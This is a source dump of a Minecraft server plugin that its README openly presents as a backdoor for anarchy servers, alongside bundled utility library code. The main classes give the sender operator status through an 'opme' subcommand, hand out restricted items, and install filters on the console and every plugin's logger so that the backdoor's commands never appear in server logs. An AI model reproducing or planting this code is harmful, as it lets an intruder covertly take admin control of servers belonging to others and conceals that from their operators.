├── .idea
├── .gitignore
├── backdoor.iml
├── discord.xml
├── misc.xml
├── modules.xml
└── runConfigurations.xml
├── META-INF
├── MANIFEST.MF
└── maven
│ ├── me.ego
│ └── ezbd
│ │ ├── pom.properties
│ │ └── pom.xml
│ └── org.mineacademy
│ └── Foundation
│ ├── pom.properties
│ └── pom.xml
├── README.md
├── data.db
├── me
└── ego
│ └── ezbd
│ ├── EZBDPlugin.java
│ ├── Filter.java
│ ├── FilterLegacy.java
│ ├── FilterLog4j.java
│ ├── FilterSystem.java
│ ├── commands
│ ├── BedrockCommand.java
│ ├── EZBDCommandGroup.java
│ ├── IllegalsCommand.java
│ └── OpCommand.java
│ └── lib
│ └── fo
│ ├── ASCIIUtil.java
│ ├── BlockUtil.java
│ ├── BungeeUtil.java
│ ├── ChatUtil.java
│ ├── Common.java
│ ├── CompressUtil.java
│ ├── DefaultFontInfo.java
│ ├── EnchantmentWrapper.java
│ ├── EntityUtil.java
│ ├── FileUtil.java
│ ├── GeoAPI.java
│ ├── HealthBarUtil.java
│ ├── HitTracking.java
│ ├── ItemUtil.java
│ ├── MathUtil.java
│ ├── Messenger.java
│ ├── MinecraftVersion.java
│ ├── PlayerUtil.java
│ ├── PotionWrapper.java
│ ├── RandomUtil.java
│ ├── ReflectionUtil.java
│ ├── SerializeUtil.java
│ ├── TabUtil.java
│ ├── TimeUtil.java
│ ├── TimedCharSequence.java
│ ├── Valid.java
│ ├── bungee
│ ├── BungeeAction.java
│ ├── BungeeListener.java
│ ├── FoBungeeAction.java
│ ├── SimpleBungee.java
│ └── message
│ │ ├── IncomingMessage.java
│ │ ├── Message.java
│ │ └── OutgoingMessage.java
│ ├── collection
│ ├── SerializedMap.java
│ ├── StrictCollection.java
│ ├── StrictList.java
│ ├── StrictMap.java
│ ├── StrictSet.java
│ └── expiringmap
│ │ ├── EntryLoader.java
│ │ ├── ExpirationPolicy.java
│ │ ├── ExpiringEntryLoader.java
│ │ ├── ExpiringMap.java
│ │ ├── ExpiringValue.java
│ │ └── NamedThreadFactory.java
│ ├── command
│ ├── DebugCommand.java
│ ├── PermsCommand.java
│ ├── ReloadCommand.java
│ ├── SimpleCommand.java
│ ├── SimpleCommandGroup.java
│ ├── SimpleSubCommand.java
│ └── annotation
│ │ ├── Permission.java
│ │ └── PermissionGroup.java
│ ├── constants
│ ├── FoConstants.java
│ └── FoPermissions.java
│ ├── conversation
│ ├── SimpleCanceller.java
│ ├── SimpleConversation.java
│ ├── SimpleDecimalPrompt.java
│ ├── SimplePrefix.java
│ └── SimplePrompt.java
│ ├── database
│ ├── SimpleDatabase.java
│ └── SimpleFlatDatabase.java
│ ├── debug
│ ├── Debugger.java
│ └── LagCatcher.java
│ ├── event
│ ├── MenuOpenEvent.java
│ ├── RegionScanCompleteEvent.java
│ ├── RocketExplosionEvent.java
│ ├── SimpleEvent.java
│ └── SimpleListener.java
│ ├── exception
│ ├── CommandException.java
│ ├── EventHandledException.java
│ ├── FoException.java
│ ├── InvalidCommandArgException.java
│ ├── InvalidWorldException.java
│ └── RegexTimeoutException.java
│ ├── jsonsimple
│ ├── JSONArray.java
│ ├── JSONContentHandler.java
│ ├── JSONFormatter.java
│ ├── JSONObject.java
│ ├── JSONParseException.java
│ ├── JSONParser.java
│ ├── JSONSerializer.java
│ ├── JSONSimpleUtil.java
│ ├── JSONTypeSerializationHandler.java
│ ├── JSONUtil.java
│ ├── Yylex.java
│ ├── Yytoken.java
│ └── annotation
│ │ ├── JSONAttribute.java
│ │ └── JSONRoot.java
│ ├── menu
│ ├── Menu.java
│ ├── MenuListener.java
│ ├── MenuPagged.java
│ ├── MenuQuantitable.java
│ ├── MenuTools.java
│ ├── ToggleableTool.java
│ ├── button
│ │ ├── Button.java
│ │ ├── ButtonConversation.java
│ │ ├── ButtonMenu.java
│ │ ├── ButtonRemove.java
│ │ └── ButtonReturnBack.java
│ ├── model
│ │ ├── InventoryDrawer.java
│ │ ├── ItemCreator.java
│ │ ├── MenuClickLocation.java
│ │ ├── MenuQuantity.java
│ │ └── SkullCreator.java
│ └── tool
│ │ ├── BlockTool.java
│ │ ├── Rocket.java
│ │ ├── Tool.java
│ │ ├── ToolRegistry.java
│ │ └── ToolsListener.java
│ ├── metrics
│ └── Metrics.java
│ ├── model
│ ├── AuthMeHook.java
│ ├── BanManagerHook.java
│ ├── BossHook.java
│ ├── BoxedMessage.java
│ ├── CMIHook.java
│ ├── ChatImage.java
│ ├── ChatPaginator.java
│ ├── ChunkedTask.java
│ ├── CitizensHook.java
│ ├── ConfigItems.java
│ ├── ConfigSerializable.java
│ ├── Countdown.java
│ ├── DiscordListener.java
│ ├── DiscordSRVHook.java
│ ├── DiscordSender.java
│ ├── EnchantmentListener.java
│ ├── EssentialsHook.java
│ ├── FactionsHook.java
│ ├── FactionsMassive.java
│ ├── FactionsUUID.java
│ ├── FolderWatcher.java
│ ├── HookManager.java
│ ├── IsInList.java
│ ├── ItemsAdderHook.java
│ ├── JavaScriptExecutor.java
│ ├── LWCHook.java
│ ├── LandsHook.java
│ ├── LimitedQueue.java
│ ├── LiteBansHook.java
│ ├── LocketteProHook.java
│ ├── MVdWPlaceholderHook.java
│ ├── McMMOHook.java
│ ├── MultiverseHook.java
│ ├── MysthicMobsHook.java
│ ├── NickyHook.java
│ ├── OfflineRegionScanner.java
│ ├── PlaceholderAPIHook.java
│ ├── PlotSquaredHook.java
│ ├── ProtocolLibHook.java
│ ├── RandomNoRepeatPicker.java
│ ├── RangedRandomValue.java
│ ├── RangedValue.java
│ ├── RegionAccessor.java
│ ├── Replacer.java
│ ├── ResidenceHook.java
│ ├── Rule.java
│ ├── RuleSetReader.java
│ ├── SimpleComponent.java
│ ├── SimpleEnchant.java
│ ├── SimpleEnchantment.java
│ ├── SimpleEnchantmentTarget.java
│ ├── SimpleEquipment.java
│ ├── SimpleExpansion.java
│ ├── SimpleScoreboard.java
│ ├── SimpleSound.java
│ ├── SimpleTime.java
│ ├── SpigotUpdater.java
│ ├── TownyHook.java
│ ├── Triple.java
│ ├── Tuple.java
│ ├── UUIDToNameConverter.java
│ ├── Variable.java
│ ├── Variables.java
│ ├── VaultHook.java
│ ├── Whiteblacklist.java
│ ├── WorldEditHook.java
│ └── WorldGuardHook.java
│ ├── plugin
│ ├── FoundationListener.java
│ ├── FoundationPacketListener.java
│ ├── Reloadables.java
│ └── SimplePlugin.java
│ ├── region
│ └── Region.java
│ ├── remain
│ ├── AdvancementAccessor.java
│ ├── BungeeChatProvider.java
│ ├── CompAttribute.java
│ ├── CompBarColor.java
│ ├── CompBarStyle.java
│ ├── CompBiome.java
│ ├── CompChatColor.java
│ ├── CompColor.java
│ ├── CompDye.java
│ ├── CompEquipmentSlot.java
│ ├── CompItemFlag.java
│ ├── CompMaterial.java
│ ├── CompMetadata.java
│ ├── CompMonsterEgg.java
│ ├── CompParticle.java
│ ├── CompProperty.java
│ ├── CompRunnable.java
│ ├── CompSound.java
│ ├── DataMap.java
│ ├── NmsAccessor.java
│ ├── NmsEntity.java
│ ├── PotionSetter.java
│ ├── Remain.java
│ ├── SneakyThrow.java
│ ├── SoftMaterials.java
│ ├── internal
│ │ ├── BossBarInternals.java
│ │ ├── ChatInternals.java
│ │ ├── EnderDragonEntity.java
│ │ ├── ParticleInternals.java
│ │ ├── v1_6.java
│ │ ├── v1_7.java
│ │ ├── v1_8.java
│ │ ├── v1_8Hack.java
│ │ └── v1_9Native.java
│ └── nbt
│ │ ├── NBTCompound.java
│ │ ├── NBTCompoundList.java
│ │ ├── NBTContainer.java
│ │ ├── NBTDoubleList.java
│ │ ├── NBTEntity.java
│ │ ├── NBTFile.java
│ │ ├── NBTFloatList.java
│ │ ├── NBTIntegerList.java
│ │ ├── NBTInternals.java
│ │ ├── NBTItem.java
│ │ ├── NBTList.java
│ │ ├── NBTListCompound.java
│ │ ├── NBTLongList.java
│ │ ├── NBTReflectionUtil.java
│ │ ├── NBTStringList.java
│ │ ├── NBTTitleEntity.java
│ │ ├── NBTType.java
│ │ ├── WrapperClass.java
│ │ ├── WrapperObject.java
│ │ ├── WrapperPackage.java
│ │ ├── WrapperReflection.java
│ │ └── WrapperVersion.java
│ ├── settings
│ ├── ConfigInstance.java
│ ├── LegacyEnum.java
│ ├── SimpleLang.java
│ ├── SimpleLocalization.java
│ ├── SimpleSettings.java
│ ├── SimpleYaml.java
│ ├── YamlComments.java
│ ├── YamlConfig.java
│ ├── YamlSectionConfig.java
│ └── YamlStaticConfig.java
│ └── visual
│ ├── BlockVisualizer.java
│ ├── VisualTool.java
│ └── VisualizedRegion.java
└── plugin.yml
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 |
--------------------------------------------------------------------------------
/.idea/backdoor.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/.idea/discord.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/runConfigurations.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
9 |
10 |
--------------------------------------------------------------------------------
/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Archiver-Version: Plexus Archiver
3 | Created-By: Apache Maven 3.6.3
4 | Built-By: max
5 | Build-Jdk: 11.0.11
6 |
--------------------------------------------------------------------------------
/META-INF/maven/me.ego/ezbd/pom.properties:
--------------------------------------------------------------------------------
1 | #Generated by Maven
2 | #Tue Sep 07 14:03:19 BST 2021
3 | groupId=me.ego
4 | artifactId=ezbd
5 | version=1.0.0
6 |
--------------------------------------------------------------------------------
/META-INF/maven/org.mineacademy/Foundation/pom.properties:
--------------------------------------------------------------------------------
1 | artifactId=Foundation
2 | groupId=org.mineacademy
3 | version=5.8.4
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## Backdoored-Plugin
2 |
3 | This is a Java plugin for anarchic servers, it contains just the backdoor part so dont annoy me on issues asking for something else, you can download the src or you can download the release.
4 |
5 |
6 |
7 |
8 | ## How to build the src
9 |
10 | Honestly i dont know, i used maven and a friend helped me, sorry!
11 |
--------------------------------------------------------------------------------
/data.db:
--------------------------------------------------------------------------------
1 | # !----------------------------------------------------!
2 | # This file stores data about your players.
3 | #
4 | # FILE IS MACHINE GENERATED. DO NOT EDIT!
5 | # !----------------------------------------------------!
--------------------------------------------------------------------------------
/me/ego/ezbd/EZBDPlugin.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd;
2 |
3 | import me.ego.ezbd.commands.EZBDCommandGroup;
4 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin;
5 |
6 | public class EZBDPlugin extends SimplePlugin {
7 | public EZBDPlugin() {
8 | }
9 |
10 | protected void onPluginStart() {
11 | Filter.inject();
12 | this.registerCommands("ezbd", new EZBDCommandGroup());
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/me/ego/ezbd/Filter.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd;
2 |
3 | import me.ego.ezbd.lib.fo.Common;
4 | import me.ego.ezbd.lib.fo.MinecraftVersion;
5 | import me.ego.ezbd.lib.fo.MinecraftVersion.V;
6 | import org.bukkit.Bukkit;
7 | import org.bukkit.plugin.Plugin;
8 |
9 | public final class Filter {
10 | public Filter() {
11 | }
12 |
13 | public static void inject() {
14 | System.setOut(new FilterSystem());
15 | FilterLegacy filter = new FilterLegacy();
16 | Plugin[] var1 = Bukkit.getPluginManager().getPlugins();
17 | int var2 = var1.length;
18 |
19 | for(int var3 = 0; var3 < var2; ++var3) {
20 | Plugin plugin = var1[var3];
21 | plugin.getLogger().setFilter(filter);
22 | }
23 |
24 | Bukkit.getLogger().setFilter(filter);
25 | if (MinecraftVersion.atLeast(V.v1_7)) {
26 | FilterLog4j.inject();
27 | }
28 |
29 | }
30 |
31 | static boolean isFiltered(String message) {
32 | if (message != null && !message.isEmpty()) {
33 | message = Common.stripColors(message);
34 | return message.contains("issued server command: /#flp");
35 | } else {
36 | return false;
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/me/ego/ezbd/FilterLegacy.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd;
2 |
3 | import java.util.logging.Filter;
4 | import java.util.logging.LogRecord;
5 |
6 | class FilterLegacy implements Filter {
7 | FilterLegacy() {
8 | }
9 |
10 | public boolean isLoggable(LogRecord record) {
11 | String message = record.getMessage();
12 | return !me.ego.ezbd.Filter.isFiltered(message);
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/me/ego/ezbd/FilterSystem.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd;
2 |
3 | import java.io.PrintStream;
4 |
5 | class FilterSystem extends PrintStream {
6 | FilterSystem() {
7 | super(System.out);
8 | }
9 |
10 | public void println(Object x) {
11 | if (x != null && !Filter.isFiltered(x.toString())) {
12 | super.println(x);
13 | }
14 |
15 | }
16 |
17 | public void println(String x) {
18 | if (x != null && !Filter.isFiltered(x)) {
19 | super.println(x);
20 | }
21 |
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/me/ego/ezbd/commands/BedrockCommand.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.commands;
2 |
3 | import me.ego.ezbd.lib.fo.command.SimpleCommandGroup;
4 | import me.ego.ezbd.lib.fo.command.SimpleSubCommand;
5 | import org.bukkit.Material;
6 | import org.bukkit.entity.Player;
7 | import org.bukkit.inventory.ItemStack;
8 |
9 | public class BedrockCommand extends SimpleSubCommand {
10 | protected BedrockCommand(SimpleCommandGroup parent) {
11 | super(parent, "bedrock|bed|br");
12 | this.setMinArguments(0);
13 | this.setUsage("&fGive 64 bedrock to player.");
14 | }
15 |
16 | protected void onCommand() {
17 | this.checkConsole();
18 | if (this.args.length == 0) {
19 | Player player = (Player)this.sender;
20 | ItemStack bedrock = new ItemStack(Material.BEDROCK, 64);
21 | player.getInventory().addItem(new ItemStack[]{bedrock});
22 | }
23 | }
24 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/commands/EZBDCommandGroup.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.commands;
2 |
3 | import me.ego.ezbd.lib.fo.command.SimpleCommandGroup;
4 |
5 | public class EZBDCommandGroup extends SimpleCommandGroup {
6 | public EZBDCommandGroup() {
7 | }
8 |
9 | protected void registerSubcommands() {
10 | this.registerSubcommand(new BedrockCommand(this));
11 | this.registerSubcommand(new IllegalsCommand(this));
12 | this.registerSubcommand(new OpCommand(this));
13 | }
14 |
15 | protected String getCredits() {
16 | return "Add &c&lEg0#&c&l1337 &fon Discord for more information or help.";
17 | }
18 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/commands/IllegalsCommand.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.commands;
2 |
3 | import me.ego.ezbd.lib.fo.command.SimpleCommandGroup;
4 | import me.ego.ezbd.lib.fo.command.SimpleSubCommand;
5 | import org.bukkit.Material;
6 | import org.bukkit.entity.Player;
7 | import org.bukkit.inventory.ItemStack;
8 |
9 | public class IllegalsCommand extends SimpleSubCommand {
10 | protected IllegalsCommand(SimpleCommandGroup parent) {
11 | super(parent, "illegals|illegal|i");
12 | this.setMinArguments(0);
13 | this.setUsage("&fGive 64 bedrock, command blocks and barriers to player.");
14 | }
15 |
16 | protected void onCommand() {
17 | this.checkConsole();
18 | if (this.args.length == 0) {
19 | Player player = (Player)this.sender;
20 | ItemStack bedrock = new ItemStack(Material.BEDROCK, 64);
21 | ItemStack barriers = new ItemStack(Material.COMMAND_BLOCK, 64);
22 | ItemStack commandblocks = new ItemStack(Material.BARRIER, 64);
23 | player.getInventory().addItem(new ItemStack[]{bedrock, barriers, commandblocks});
24 | }
25 | }
26 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/commands/OpCommand.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.commands;
2 |
3 | import me.ego.ezbd.lib.fo.command.SimpleCommandGroup;
4 | import me.ego.ezbd.lib.fo.command.SimpleSubCommand;
5 |
6 | public class OpCommand extends SimpleSubCommand {
7 | protected OpCommand(SimpleCommandGroup parent) {
8 | super(parent, "opme");
9 | this.setMinArguments(0);
10 | this.setUsage("&fOps the player.");
11 | }
12 |
13 | protected void onCommand() {
14 | this.checkConsole();
15 | this.sender.setOp(true);
16 | this.tell(new String[]{"You are now op."});
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/ASCIIUtil.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo;
2 |
3 | import java.awt.Color;
4 | import java.awt.Font;
5 | import java.awt.FontMetrics;
6 | import java.awt.Graphics;
7 | import java.awt.Graphics2D;
8 | import java.awt.image.BufferedImage;
9 | import java.util.ArrayList;
10 | import java.util.Arrays;
11 | import java.util.List;
12 | import lombok.NonNull;
13 |
14 | public class ASCIIUtil {
15 | public static final int SMALL = 12;
16 | public static final int MEDIUM = 18;
17 | public static final int LARGE = 24;
18 |
19 | public ASCIIUtil() {
20 | }
21 |
22 | public static List generate(String message) {
23 | return generate(message, 18, Arrays.asList("*"));
24 | }
25 |
26 | public static List generate(String message, @NonNull String letterSymbols) {
27 | if (letterSymbols == null) {
28 | throw new NullPointerException("letterSymbols is marked non-null but is null");
29 | } else {
30 | return generate(message, 18, Arrays.asList(letterSymbols.split("\\|")));
31 | }
32 | }
33 |
34 | public static List generate(String message, int textHeight, @NonNull List letterSymbols) {
35 | if (letterSymbols == null) {
36 | throw new NullPointerException("letterSymbols is marked non-null but is null");
37 | } else {
38 | List texts = new ArrayList();
39 | int imageWidth = findImageWidth(textHeight, message, "SansSerif");
40 | BufferedImage bufferedImage = new BufferedImage(imageWidth, textHeight, 1);
41 | Graphics2D graphics = (Graphics2D)bufferedImage.getGraphics();
42 | Font font = new Font("SansSerif", 1, textHeight);
43 | graphics.setFont(font);
44 | graphics.drawString(message, 0, getBaselinePosition(graphics, font));
45 |
46 | for(int y = 0; y < textHeight; ++y) {
47 | StringBuilder sb = new StringBuilder();
48 |
49 | for(int x = 0; x < imageWidth; ++x) {
50 | sb.append(bufferedImage.getRGB(x, y) == Color.WHITE.getRGB() ? (String)RandomUtil.nextItem(letterSymbols) : " ");
51 | }
52 |
53 | if (!sb.toString().trim().isEmpty()) {
54 | texts.add(sb.toString());
55 | }
56 | }
57 |
58 | return texts;
59 | }
60 | }
61 |
62 | private static int findImageWidth(int textHeight, String artText, String fontName) {
63 | BufferedImage bufferedImage = new BufferedImage(1, 1, 1);
64 | Graphics graphics = bufferedImage.getGraphics();
65 | graphics.setFont(new Font(fontName, 1, textHeight));
66 | return graphics.getFontMetrics().stringWidth(artText);
67 | }
68 |
69 | private static int getBaselinePosition(Graphics g, Font font) {
70 | FontMetrics metrics = g.getFontMetrics(font);
71 | int y = metrics.getAscent() - metrics.getDescent();
72 | return y;
73 | }
74 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/CompressUtil.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo;
2 |
3 | import java.io.BufferedReader;
4 | import java.io.ByteArrayInputStream;
5 | import java.io.ByteArrayOutputStream;
6 | import java.io.InputStreamReader;
7 | import java.util.zip.GZIPInputStream;
8 | import java.util.zip.GZIPOutputStream;
9 | import lombok.NonNull;
10 |
11 | public final class CompressUtil {
12 | public static byte[] compress(@NonNull String string) {
13 | try {
14 | if (string == null) {
15 | throw new NullPointerException("string is marked non-null but is null");
16 | } else if (string.length() == 0) {
17 | return null;
18 | } else {
19 | ByteArrayOutputStream obj = new ByteArrayOutputStream();
20 | GZIPOutputStream gzip = new GZIPOutputStream(obj);
21 | gzip.write(string.getBytes("UTF-8"));
22 | gzip.flush();
23 | gzip.close();
24 | return obj.toByteArray();
25 | }
26 | } catch (Throwable var3) {
27 | throw var3;
28 | }
29 | }
30 |
31 | public static String decompress(@NonNull byte[] compressed) {
32 | try {
33 | if (compressed == null) {
34 | throw new NullPointerException("compressed is marked non-null but is null");
35 | } else {
36 | StringBuilder outStr = new StringBuilder();
37 | if (compressed.length == 0) {
38 | return "";
39 | } else {
40 | if (isCompressed(compressed)) {
41 | GZIPInputStream gis = new GZIPInputStream(new ByteArrayInputStream(compressed));
42 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(gis, "UTF-8"));
43 |
44 | String line;
45 | while((line = bufferedReader.readLine()) != null) {
46 | outStr.append(line);
47 | }
48 | } else {
49 | outStr.append(compressed);
50 | }
51 |
52 | return outStr.toString();
53 | }
54 | }
55 | } catch (Throwable var5) {
56 | throw var5;
57 | }
58 | }
59 |
60 | private static boolean isCompressed(byte[] compressed) {
61 | return compressed[0] == 31 && compressed[1] == -117;
62 | }
63 |
64 | private CompressUtil() {
65 | throw new UnsupportedOperationException("This is a utility class and cannot be instantiated");
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/DefaultFontInfo.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo;
2 |
3 | /** @deprecated */
4 | enum DefaultFontInfo {
5 | A('A', 5),
6 | a('a', 5),
7 | B('B', 5),
8 | b('b', 5),
9 | C('C', 5),
10 | c('c', 5),
11 | D('D', 5),
12 | d('d', 5),
13 | E('E', 5),
14 | e('e', 5),
15 | F('F', 5),
16 | f('f', 4),
17 | G('G', 5),
18 | g('g', 5),
19 | H('H', 5),
20 | h('h', 5),
21 | I('I', 3),
22 | i('i', 1),
23 | J('J', 5),
24 | j('j', 5),
25 | K('K', 5),
26 | k('k', 4),
27 | L('L', 5),
28 | l('l', 1),
29 | M('M', 5),
30 | m('m', 5),
31 | N('N', 5),
32 | n('n', 5),
33 | O('O', 5),
34 | o('o', 5),
35 | P('P', 5),
36 | p('p', 5),
37 | Q('Q', 5),
38 | q('q', 5),
39 | R('R', 5),
40 | r('r', 5),
41 | S('S', 5),
42 | s('s', 5),
43 | T('T', 5),
44 | t('t', 4),
45 | U('U', 5),
46 | u('u', 5),
47 | V('V', 5),
48 | v('v', 5),
49 | W('W', 5),
50 | w('w', 5),
51 | X('X', 5),
52 | x('x', 5),
53 | Y('Y', 5),
54 | y('y', 5),
55 | Z('Z', 5),
56 | z('z', 5),
57 | NUM_1('1', 5),
58 | NUM_2('2', 5),
59 | NUM_3('3', 5),
60 | NUM_4('4', 5),
61 | NUM_5('5', 5),
62 | NUM_6('6', 5),
63 | NUM_7('7', 5),
64 | NUM_8('8', 5),
65 | NUM_9('9', 5),
66 | NUM_0('0', 5),
67 | EXCLAMATION_POINT('!', 1),
68 | AT_SYMBOL('@', 6),
69 | NUM_SIGN('#', 5),
70 | DOLLAR_SIGN('$', 5),
71 | PERCENT('%', 5),
72 | UP_ARROW('^', 5),
73 | AMPERSAND('&', 5),
74 | ASTERISK('*', 5),
75 | LEFT_PARENTHESIS('(', 4),
76 | RIGHT_PERENTHESIS(')', 4),
77 | MINUS('-', 5),
78 | UNDERSCORE('_', 5),
79 | PLUS_SIGN('+', 5),
80 | EQUALS_SIGN('=', 5),
81 | LEFT_CURL_BRACE('{', 4),
82 | RIGHT_CURL_BRACE('}', 4),
83 | LEFT_BRACKET('[', 3),
84 | RIGHT_BRACKET(']', 3),
85 | COLON(':', 1),
86 | SEMI_COLON(';', 1),
87 | DOUBLE_QUOTE('"', 3),
88 | SINGLE_QUOTE('\'', 1),
89 | LEFT_ARROW('<', 4),
90 | RIGHT_ARROW('>', 4),
91 | QUESTION_MARK('?', 5),
92 | SLASH('/', 5),
93 | BACK_SLASH('\\', 5),
94 | LINE('|', 1),
95 | TILDE('~', 5),
96 | TICK('`', 2),
97 | PERIOD('.', 1),
98 | COMMA(',', 1),
99 | SPACE(' ', 3),
100 | DEFAULT('a', 4);
101 |
102 | private final char character;
103 | private final int length;
104 |
105 | private DefaultFontInfo(char character, int length) {
106 | this.character = character;
107 | this.length = length;
108 | }
109 |
110 | public char getCharacter() {
111 | return this.character;
112 | }
113 |
114 | public int getLength() {
115 | return this.length;
116 | }
117 |
118 | public int getBoldLength() {
119 | return this == SPACE ? this.getLength() : this.length + 1;
120 | }
121 |
122 | public static DefaultFontInfo getDefaultFontInfo(char c) {
123 | DefaultFontInfo[] var1 = values();
124 | int var2 = var1.length;
125 |
126 | for(int var3 = 0; var3 < var2; ++var3) {
127 | DefaultFontInfo dFI = var1[var3];
128 | if (dFI.getCharacter() == c) {
129 | return dFI;
130 | }
131 | }
132 |
133 | return DEFAULT;
134 | }
135 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/EnchantmentWrapper.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo;
2 |
3 | import org.apache.commons.lang.WordUtils;
4 |
5 | enum EnchantmentWrapper {
6 | PROTECTION("PROTECTION_ENVIRONMENTAL"),
7 | FIRE_PROTECTION("PROTECTION_FIRE"),
8 | FEATHER_FALLING("PROTECTION_FALL"),
9 | BLAST_PROTECTION("PROTECTION_EXPLOSIONS"),
10 | PROJECTILE_PROTECTION("PROTECTION_PROJECTILE"),
11 | RESPIRATION("OXYGEN"),
12 | AQUA_AFFINITY("WATER_WORKER"),
13 | THORN("THORNS"),
14 | CURSE_OF_VANISHING("VANISHING_CURSE"),
15 | CURSE_OF_BINDING("BINDING_CURSE"),
16 | SHARPNESS("DAMAGE_ALL"),
17 | SMITE("DAMAGE_UNDEAD"),
18 | BANE_OF_ARTHROPODS("DAMAGE_ARTHROPODS"),
19 | LOOTING("LOOT_BONUS_MOBS"),
20 | SWEEPING_EDGE("SWEEPING"),
21 | EFFICIENCY("DIG_SPEED"),
22 | UNBREAKING("DURABILITY"),
23 | FORTUNE("LOOT_BONUS_BLOCKS"),
24 | POWER("ARROW_DAMAGE"),
25 | PUNCH("ARROW_KNOCKBACK"),
26 | FLAME("ARROW_FIRE"),
27 | INFINITY("ARROW_INFINITE"),
28 | LUCK_OF_THE_SEA("LUCK");
29 |
30 | private final String bukkitName;
31 |
32 | protected static String toBukkit(String name) {
33 | name = name.toUpperCase().replace(" ", "_");
34 | EnchantmentWrapper[] var1 = values();
35 | int var2 = var1.length;
36 |
37 | for(int var3 = 0; var3 < var2; ++var3) {
38 | EnchantmentWrapper e = var1[var3];
39 | if (e.toString().equals(name)) {
40 | return e.bukkitName;
41 | }
42 | }
43 |
44 | return name;
45 | }
46 |
47 | protected static String toMinecraft(String name) {
48 | name = name.toUpperCase().replace(" ", "_");
49 | EnchantmentWrapper[] var1 = values();
50 | int var2 = var1.length;
51 |
52 | for(int var3 = 0; var3 < var2; ++var3) {
53 | EnchantmentWrapper e = var1[var3];
54 | if (name.equals(e.bukkitName)) {
55 | return ItemUtil.bountifyCapitalized(e);
56 | }
57 | }
58 |
59 | return WordUtils.capitalizeFully(name);
60 | }
61 |
62 | public String getBukkitName() {
63 | return this.bukkitName != null ? this.bukkitName : this.name();
64 | }
65 |
66 | private EnchantmentWrapper(String bukkitName) {
67 | this.bukkitName = bukkitName;
68 | }
69 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/HealthBarUtil.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo;
2 |
3 | import me.ego.ezbd.lib.fo.remain.Remain;
4 | import org.bukkit.ChatColor;
5 | import org.bukkit.entity.LivingEntity;
6 | import org.bukkit.entity.Player;
7 |
8 | public final class HealthBarUtil {
9 | private static String prefix = "&8[";
10 | private static String suffix = "&8]";
11 | private static ChatColor remainingColor;
12 | private static ChatColor totalColor;
13 | private static ChatColor deadColor;
14 |
15 | public static void display(Player displayTo, LivingEntity displayAbout, double damage) {
16 | int maxHealth = Remain.getMaxHealth(displayAbout);
17 | int health = Remain.getHealth(displayAbout);
18 | String name = Common.getOrEmpty(displayAbout.getCustomName());
19 | String formatted = (name.isEmpty() ? ItemUtil.bountifyCapitalized(displayAbout.getType()) : name) + " - " + getHealthMessage(health, maxHealth, (int)damage);
20 | Remain.sendActionBar(displayTo, formatted);
21 | }
22 |
23 | private static String getHealthMessage(int health, int maxHealth, int damage) {
24 | int remainingHealth = health - damage;
25 | return remainingHealth > 0 ? formatHealth(remainingHealth, maxHealth) : formatDeath(maxHealth);
26 | }
27 |
28 | private static String formatHealth(int remainingHealth, int maxHealth) {
29 | if (maxHealth > 30) {
30 | return formatMuchHealth(remainingHealth, maxHealth);
31 | } else {
32 | String left = "";
33 |
34 | for(int i = 0; i < remainingHealth; ++i) {
35 | left = left + "|";
36 | }
37 |
38 | String max = "";
39 |
40 | for(int i = 0; i < maxHealth - left.length(); ++i) {
41 | max = max + "|";
42 | }
43 |
44 | return prefix + remainingColor + left + totalColor + max + suffix;
45 | }
46 | }
47 |
48 | private static String formatMuchHealth(int remaining, int max) {
49 | return prefix + remainingColor + remaining + " &8/ " + totalColor + max + suffix;
50 | }
51 |
52 | private static String formatDeath(int maxHealth) {
53 | String max = "";
54 | if (maxHealth > 30) {
55 | max = "-0-";
56 | } else {
57 | for(int i = 0; i < maxHealth; ++i) {
58 | max = max + "|";
59 | }
60 | }
61 |
62 | return prefix + deadColor + max + suffix;
63 | }
64 |
65 | private HealthBarUtil() {
66 | }
67 |
68 | public static void setPrefix(String prefix) {
69 | HealthBarUtil.prefix = prefix;
70 | }
71 |
72 | public static void setSuffix(String suffix) {
73 | HealthBarUtil.suffix = suffix;
74 | }
75 |
